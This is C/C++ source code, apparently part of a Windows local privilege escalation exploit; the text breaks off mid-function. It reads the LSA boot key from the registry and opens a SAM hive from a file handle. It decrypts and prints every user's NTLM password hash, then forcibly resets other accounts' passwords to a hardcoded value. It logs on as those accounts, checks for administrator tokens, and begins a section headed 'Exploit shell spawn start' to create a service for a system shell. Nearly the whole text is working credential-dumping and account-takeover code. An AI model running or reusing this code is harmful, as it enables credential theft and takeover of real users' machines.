- NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle);
- NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle);
- NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle);
- NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM);
- void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) {
- size_t len = strlen(hex_string);
- if (len % 2 != 0) {
- fprintf(stderr, "Error: Hex string length must be even.\n");
- return;
- }
- size_t byte_len = len / 2;
- if (byte_len > max_len) {
- fprintf(stderr, "Error: Output buffer too small.\n");
- return;
- }
- for (size_t i = 0; i < byte_len; i++) {
- // Read two hex characters and convert them to an unsigned int
- unsigned int byte_val;
- if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) {
- fprintf(stderr, "Error: Invalid hex character in string.\n");
- return;
- }
- byte_array[i] = (unsigned char)byte_val;
- }
- }
- bool GetLSASecretKey(unsigned char bootkeybytes[16])
- {
- const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} };
- int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };
- //ORHKEY hlsa = NULL;
- HKEY hlsa = NULL;
- DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa);
- char data[0x1000] = { 0 };
- DWORD index = 0;
- for (const wchar_t* keyname : keynames)
- {
- DWORD retsz = sizeof(data) / sizeof(char);
- HKEY hbootkey = NULL;
- err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey);
- err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
- index += retsz;
- RegCloseKey(hbootkey);
- }
- //printf("%s\n", data);
- RegCloseKey(hlsa);
- if (strlen(data) < 16)
- {
- printf("Boot key mismatch.");
- return 1;
- }
- // convert hex string to binary
- unsigned char keybytes[16] = { 0 };
- hex_string_to_bytes(data, keybytes, 16);
- for (int i = 0; i < sizeof(keybytes); i++)
- {
- bootkeybytes[i] = keybytes[indices[i]];
- }
- return true;
- }
- void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen)
- {
- char* decrypted = (char*)malloc(enclen);
- memmove(decrypted, hashdata, enclen);
- HCRYPTPROV hprov = NULL;
- CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
- struct aes128keyBlob
- {
- BLOBHEADER hdr;
- DWORD keySize;
- BYTE bytes[16];
- } blob;
- blob.hdr.bType = PLAINTEXTKEYBLOB;
- blob.hdr.bVersion = CUR_BLOB_VERSION;
- blob.hdr.reserved = 0;
- blob.hdr.aiKeyAlg = CALG_AES_128;
- blob.keySize = 16;
- memmove(blob.bytes, lsaKey, 16);
- HCRYPTKEY hcryptkey = NULL;
- CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey);
- DWORD mode = CRYPT_MODE_CBC;
- CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL);
-
- CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
- DWORD retsz = enclen;
- CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
-
- /*
- EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
- int fulllen = 0;
- int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv);
- if (!retval)
- return NULL;
- //int decryptedsz = enclen;
- retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen);
- if (!retval)
- return NULL;
- retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen);
- EVP_CIPHER_CTX_free(en);
- if (!retval)
- return NULL;
- */
- if (decryptedlen)
- *decryptedlen = retsz;
- return decrypted;
- }
- #ifndef SHA256_DIGEST_LENGTH
- #define SHA256_DIGEST_LENGTH 32
- #endif
- bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH])
- {
- char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH);
- ZeroMemory(data2, SHA256_DIGEST_LENGTH);
- HCRYPTPROV hprov = NULL;
- CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
- HCRYPTHASH Hhash = NULL;
- CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash);
- CryptHashData(Hhash, (const BYTE*)data, size, NULL);
- DWORD md_len = 0;
- DWORD inputsz = sizeof(md_len);
- CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
- //inputsz = size;
- CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL);
- CryptDestroyHash(Hhash);
- CryptReleaseContext(hprov, NULL);
- /*
- EVP_MD_CTX* en = EVP_MD_CTX_new();
- bool retval = EVP_DigestInit(en, EVP_sha256());
- if (!retval)
- return retval;
- retval = EVP_DigestUpdate(en, data, size);
- if (!retval)
- return retval;
- EVP_DigestFinal(en, (unsigned char*)hashout, NULL);
- */
- //return retval;
- return true;
- }
- void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz)
- {
- int hashlen = data[0];
- int enclen = data[4];
- char iv[16] = { 0 };
- memmove(iv, &data[8], sizeof(iv));
- char* cyphertext = (char*)malloc(enclen);
- memmove(cyphertext, &data[0x18], enclen);
- // first arg, lsaKey | second arg, iv | thid arg, ciphertext
- int outsz = 0;
- int pekoutsz = 0;
- char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz);
- char* hashdata = (char*)malloc(hashlen);
- memmove(hashdata, &data[0x18 + enclen], hashlen);
- char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz);
- char hash256[SHA256_DIGEST_LENGTH];
- if (!ComputeSHA256(pek, pekoutsz, hash256))
- {
- return NULL;
- }
- if (memcmp(hash256, hash, sizeof(hash256)) != 0)
- {
- printf("Invalid AES password key.\n");
- return NULL;
- }
- if (keysz)
- *keysz = sizeof(hash256);
- return pek;
- }
- void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz)
- {
- int enctype = samKey[0x68];
- if (enctype == 2) {
- int endofs = samKey[0x6c] + 0x68;
- int len = endofs - 0x70;
- char* data = (char*)malloc(len);
- memmove(data, &samKey[0x70], len);
- void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz);
- return retval;
- }
- __debugbreak();
- return NULL;
- }
- void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz)
- {
- int length = data[4];
- if (!length)
- return NULL;
- char iv[16] = { 0 };
- memmove(iv, &data[8], sizeof(iv));
- int ciphertextsz = datasz - 24;
- char* ciphertext = (char*)malloc(ciphertextsz);
- memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz);
- return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz);
- }
- void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz)
- {
- int enctype = data[2];
- switch (enctype)
- {
- case 2:
- return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz);
- break;
- default:
- __debugbreak();
- break;
- }
- return NULL;
- }
- void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz)
- {
-
- char* ciphertext2 = (char*)malloc(ciphertextsz);
- memmove(ciphertext2, ciphertext, ciphertextsz);
- HCRYPTPROV hprov = NULL;
- CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
- struct deskeyBlob
- {
- BLOBHEADER hdr;
- DWORD keySize;
- BYTE bytes[8];
- }blob;
- //deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz);
- blob.hdr.bType = PLAINTEXTKEYBLOB;
- blob.hdr.bVersion = CUR_BLOB_VERSION;
- blob.hdr.reserved = 0;
- blob.hdr.aiKeyAlg = CALG_DES;
- blob.keySize = 8;
- memmove(blob.bytes, key, 8);
- HCRYPTKEY hcryptkey = NULL;
- CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey);
- DWORD mode = CRYPT_MODE_ECB;
- CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
- DWORD retsz = ciphertextsz;
- CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz);
- if (outsz)
- *outsz = 8;
- //printf("GetLastError : %x\n", GetLastError());
- CryptReleaseContext(hprov, NULL);
- return ciphertext2;
- /*
- DWORD mode = CRYPT_MODE_ECB;
- CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
- printf("GetLastError : %x\n", GetLastError());
- DWORD retsz = enclen;
- CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
- printf("GetLastError : %x\n", GetLastError());
- */
- /*
- OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy");
- if (legacy == NULL)
- {
- printf("Failed to load Legacy provider\n");
- }
-
- EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
- int fulllen = 0;
- int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL);
- char* plaintext = (char*)malloc(ciphertextsz);
- int _outsz = 0;
- retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz);
- int _outlen = 0;
- retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen);
- if (outsz)
- *outsz = _outsz;
- return plaintext;
- */
- }
- char* DeriveDESKey(char data[7])
- {
- union keyderv {
- struct {
- char arr[8];
- };
- SIZE_T derv;
- };
- keyderv ttv = { 0 };
- ZeroMemory(ttv.arr, sizeof(ttv.arr));
- memmove(ttv.arr, data, sizeof(data) - 1);
- SIZE_T k = ttv.derv;
- char* key = (char*)malloc(sizeof(data));
- for (int i = 0; i < 8; i++)
- {
- int j = 7 - i;
- int curr = (k >> (7 * j)) & 0x7F;
- int b = curr;
- b ^= b >> 4;
- b ^= b >> 2;
- b ^= b >> 1;
- int keybyte = (curr << 1) ^ (b & 1) ^ 1;
- key[i] = (char)keybyte;
- }
- return key;
- }
- void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid)
- {
- union keydata {
- struct {
- char a;
- char b;
- char c;
- char d;
- };
- ULONG data;
- };
- keydata keycontent = { 0 };
- keycontent.data = rid;
- char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a };
- char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d };
- char* rkey1 = DeriveDESKey(key1);
- char* rkey2 = DeriveDESKey(key2);
- int plaintext1sz = 0;
- int plaintext2sz = 0;
- char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz);
- if (!plaintext1)
- return NULL;
- char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz);
- if (!plaintext2)
- return NULL;
- void* retval = malloc(plaintext1sz + plaintext2sz);
- memmove(retval, plaintext1, plaintext1sz);
- memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz);
- if (outsz)
- *outsz = plaintext1sz + plaintext2sz;
- return retval;
- }
- void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid)
- {
- int _outsz = 0;
- void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz);
- if (!dec)
- return NULL;
- int _hashoutsz = 0;
- void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid);
- if (outsz)
- *outsz = _hashoutsz;
- return _hash;
- }
- unsigned char* HexToHexString(unsigned char* data, int size)
- {
- unsigned char* retval = (unsigned char*)malloc(size * 2 + 1);
- ZeroMemory(retval, size + 1);
- for (int i = 0; i < size; i++)
- {
- sprintf((char*)&retval[i * 2], "%02x", data[i]);
- }
- return retval;
- }
- char* CalculateNTLMHash(char* _input)
- {
- int pw_len = strlen(_input);
- char* input = new char[pw_len * 2];
- for (int i = 0; i < pw_len; i++)
- {
- input[i * 2] = _input[i];
- input[i * 2 + 1] = '\0';
- }
-
- unsigned int md_len = 0;
- HCRYPTPROV hprov = NULL;
- CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
- HCRYPTHASH Hhash = NULL;
- CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash);
- CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL);
- DWORD inputsz = sizeof(md_len);
- CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
- unsigned char* md_value = (unsigned char*)malloc(md_len);
- inputsz = md_len;
- CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL);
- CryptDestroyHash(Hhash);
- CryptReleaseContext(hprov, NULL);
- /*
- EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
- EVP_DigestInit_ex(mdctx, EVP_md4(), NULL);
- EVP_DigestUpdate(mdctx, input, pw_len * 2);
- EVP_DigestFinal_ex(mdctx, md_value, &md_len);
- EVP_MD_CTX_free(mdctx);
- */
- /*
- printf("Digest is: ");
- for (int i = 0; i < md_len; i++)
- printf("%02x", md_value[i]);
- printf("\n");
- */
- return (char*)md_value;
- }
- bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL)
- {
- wchar_t libpath[MAX_PATH] = { 0 };
- ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH);
- HMODULE hm = LoadLibrary(libpath);
- if (!hm)
- {
- printf("Failed to load samlib.dll\n");
- return false;
- }
- NTSTATUS(WINAPI * _SamConnect)
- (IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect");
- NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle");
- NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle)
- = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain");
- NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser");
- NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser");
- if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser)
- {
- printf("Failed to import required functions from samlib.dll\n");
- return false;
- }
- HANDLE hsrv = NULL;
- NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false);
- if (stat)
- {
- printf("Failed to connect to SAM, error : 0x%0.8X\n", stat);
- return false;
- }
- //printf("Connected to local SAM.\n");
- LSA_OBJECT_ATTRIBUTES loa = { 0 };
- LSA_HANDLE hlsa = NULL;
- stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa);
- if (stat)
- {
- printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat);
- return false;
- }
-
- POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0;
- stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo);
- if (stat)
- {
- printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat);
- return false;
- }
- /*wchar_t* stringsid = 0;
- if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid))
- {
- printf("Failed to get string sid, error : %d\n", GetLastError());
- return false;
- }
- printf("Machine SID : %ws\n", stringsid);*/
- LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0;
- LSA_TRANSLATED_SID* lsatrans = 0;
- LSA_UNICODE_STRING lsaunistr = { 0 };
- RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username);
- stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans);
- if (stat)
- {
- printf("LsaLookupNames failed, error : 0x%0.8X\n", stat);
- return false;
- }
- LsaClose(hlsa);
-
- HANDLE hdomain = NULL;
- stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain);
- if (stat)
- {
- printf("SamOpenDomain failed, error : 0x%0.8X\n", stat);
- return false;
- }
- HANDLE huser = NULL;
- stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser);
- if (stat)
- {
- printf("SamOpenUser failed, error : 0x%0.8X\n", stat);
- return false;
- }
- //char password[] = "testp";
- //char* oldNTLM = CalculateNTLMHash((char*)"testp");
- char* oldNTLM = (char*)nthash;
- char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword);
- char oldLm[16] = { 0 };
- char newLm[16] = { 0 };
- stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM);
- if (stat)
- {
- printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat);
- return false;
- }
- _SamCloseHandle(huser);
- _SamCloseHandle(hdomain);
- _SamCloseHandle(hsrv);
- /*
- if (newpassword) {
- printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword);
- }
- else {
- printf("Info : user \"%ws\" password has been changed back to older password\n", username);
- }
- */
- return true;
- }
- //////////////////////////////////////////////////////////////////////
- // SAM handling end
- /////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////
- // Exploit shell spawn start
- /////////////////////////////////////////////////////////////////////
- BOOL SetPrivilege(
- HANDLE hToken, // access token handle
- LPCTSTR lpszPrivilege, // name of privilege to enable/disable
- BOOL bEnablePrivilege // to enable or disable privilege
- )
- {
- TOKEN_PRIVILEGES tp;
- LUID luid;
- if (!LookupPrivilegeValue(
- NULL, // lookup privilege on local system
- lpszPrivilege, // privilege to lookup
- &luid)) // receives LUID of privilege
- {
- printf("LookupPrivilegeValue error: %u\n", GetLastError());
- return FALSE;
- }
- tp.PrivilegeCount = 1;
- tp.Privileges[0].Luid = luid;
- if (bEnablePrivilege)
- tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- else
- tp.Privileges[0].Attributes = 0;
- // Enable the privilege or disable all privileges.
- if (!AdjustTokenPrivileges(
- hToken,
- FALSE,
- &tp,
- 0,
- (PTOKEN_PRIVILEGES)NULL,
- (PDWORD)NULL))
- {
- printf("AdjustTokenPrivileges error: %u\n", GetLastError());
- return FALSE;
- }
- if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
- {
- printf("The token does not have the specified privilege. \n");
- return FALSE;
- }
- return TRUE;
- }
- bool DoSpawnShellAsAllUsers(HANDLE samfile)
- {
- //SSL_library_init();
- //SSL_load_error_strings();
- char newpassword[] = "$PWNed666!!!WDFAIL";
- wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL";
- char* newNTLM = CalculateNTLMHash(newpassword);
- bool isadmin = false;
- char* retval = 0;
- ORHKEY hSAMhive = NULL;
- ORHKEY hSYSTEMhive = NULL;
- DWORD err = OROpenHiveByHandle(samfile, &hSAMhive);
- bool systemshelllaunched = false;
- if (err)
- {
- printf("OROpenHive failed with error : %d\n", err);
- return false;
- }
- unsigned char lsakey[16] = { 0 };
- if (!GetLSASecretKey(lsakey))
- {
- printf("Failed to dump LSA secret keys.\n");
- return false;
- }
- ORHKEY hkey = NULL;
- err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey);
- DWORD valuesz = 0;
- err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz);
- if (err)
- {
- printf("ORGetValue failed with error : %d\n", err);
- return false;
- }
- char* samkey = (char*)malloc(valuesz);
- err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz);
- if (err)
- {
- printf("ORGetValue failed with error : %d\n", err);
- return false;
- }
- ORCloseKey(hkey);
- ///////////////////////////////////////////////////////////
- int passwordEncryptionKeysz = 0;
- char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz);
- err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey);
- if (err)
- {
- printf("OROpenKey failed with error : %d\n", err);
- return false;
- }
-
- DWORD subkeys = NULL;
- err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
- if (err)
- {
- printf("ORQueryInfoKey failed with error : %d\n", err);
- return false;
- }
- PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys);
- int numofentries = 0;
- for (int i = 0; i < subkeys; i++)
- {
- DWORD keynamesz = 0x100;
- wchar_t keyname[0x100] = { 0 };
- err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL);
- if (err)
- {
- printf("OREnumKey failed with error : %d\n", err);
- return false;
- }
- if (_wcsicmp(keyname, L"users") == 0)
- continue;
- ORHKEY hkey2 = NULL;
- err = OROpenKey(hkey, keyname, &hkey2);
- if (err)
- {
- printf("OROpenKey failed with error : %d\n", err);
- return false;
- }
- DWORD valuesz = 0;
- err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz);
- if (err == ERROR_FILE_NOT_FOUND)
- continue;
- if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) {
- printf("ORGetValue failed with error : %d\n", err);
- return false;
- }
- PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc));
- ZeroMemory(SAMpwd, sizeof(PwdEnc));
- SAMpwd->sz = valuesz;
- SAMpwd->buff = (char*)malloc(valuesz);
- ZeroMemory(SAMpwd->buff, valuesz);
- err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz);
- if (err)
- {
- printf("ORGetValue failed with error : %d\n", err);
- return false;
- }
- SAMpwd->rid = wcstoul(keyname, NULL, 16);
- ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET];
- SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
- ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET];
- SAMpwd->usernamesz = *usernamesz;
- ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET];
- SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
- ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET];
- SAMpwd->LMHashLenght = *LMhashsz;
- ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET];
- SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
- ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET];
- SAMpwd->NTHashLenght = *NThashsz;
- pwdenclist[i] = SAMpwd;
- numofentries++;
- }
- wchar_t currentusername[UNLEN + 1] = { 0 };
- DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t);
- if (!GetUserName(currentusername, &usernamesz))
- {
- printf("Failed to get current user name, error : %d", GetLastError());
- return false;
- }
- for (int i = 0; i < numofentries; i++)
- {
- PwdEnc* samentry = pwdenclist[i];
- int realNTLMHashsz = 0;
- char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid);
- char* stringntlm = 0;
- char emptyrepresentation[] = "{NULL}";
- if (realNTLMHashsz)
- {
- stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz);
- }
- else
- {
- stringntlm = emptyrepresentation;
- }
- wchar_t username[UNLEN + 1] = { 0 };
- if (samentry->usernamesz <= sizeof(username))
- {
- memmove(username, samentry->username, samentry->usernamesz);
- }
- printf("******************************************\n");
- printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm);
- if (realNTLMHash == NULL || realNTLMHashsz == 0) {
- printf(" Skip : NULL NTLM.\n");
- continue;
- }
- if (_wcsicmp(username, currentusername) == 0)
- {
- printf(" Skip : Current User.\n");
- continue;
- }
- if (_wcsicmp(username, L"WDAGUtilityAccount") == 0)
- {
- printf(" Skip : WDAGUtilityAccount detected.\n");
- continue;
- }
-
- retval = realNTLMHash;
- if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM))
- {
- printf(" NewPasswordSet : OK.\n");
- HANDLE htoken = NULL;
- PSID logonsid = 0;
- if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL))
- {
- printf("LogonUserEx failed, error : %d\n", GetLastError());
- }
- if (!systemshelllaunched) {
- TOKEN_ELEVATION_TYPE tokentype;
- DWORD retsz = 0;
- if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz))
- {
- printf("GetTokenInformation failed with error : %d\n", GetLastError());
- }
- if (tokentype == TokenElevationTypeLimited)
- {
- TOKEN_LINKED_TOKEN linkedtoken = { 0 };
- if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz))
- {
- printf("GetTokenInformation failed with error : %d\n", GetLastError());
- }
- HANDLE hdup = linkedtoken.LinkedToken;
- DWORD sidsz = MAX_SID_SIZE;
- PSID administratorssid = malloc(sidsz);
- if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz))
- {
- printf("Failed to create well known sid, error : %d\n", GetLastError());
- }
- if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin))
- {
- printf("CheckTokenMembership failed with error : %d\n", GetLastError());
- }
- free(administratorssid);
- CloseHandle(hdup);
- }
- if (isadmin)
- {
- printf(" IsAdmin : TRUE\n");
- HANDLE htoken2 = NULL;
- if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL))
- {
- printf("LogonUserEx failed, error : %d\n", GetLastError());
- }
- //SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE);
- const wchar_t sid_string[] = L"S-1-16-8192";
- TOKEN_MANDATORY_LABEL integrity;
- PSID sid = NULL;
- ConvertStringSidToSidW(sid_string, &sid);
- ZeroMemory(&integrity, sizeof(integrity));
- integrity.Label.Attributes = SE_GROUP_INTEGRITY;
- integrity.Label.Sid = sid;
- if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) {
- wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError());
- }
- LocalFree(sid);
- //CloseHandle(htoken2);
- ImpersonateLoggedOnUser(htoken2);
- SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
- if (!hmgr)
- {
- printf("OpenSCManager failed with error : %d", GetLastError());
- }
- GUID uid = { 0 };
- RPC_WSTR wuid = { 0 };
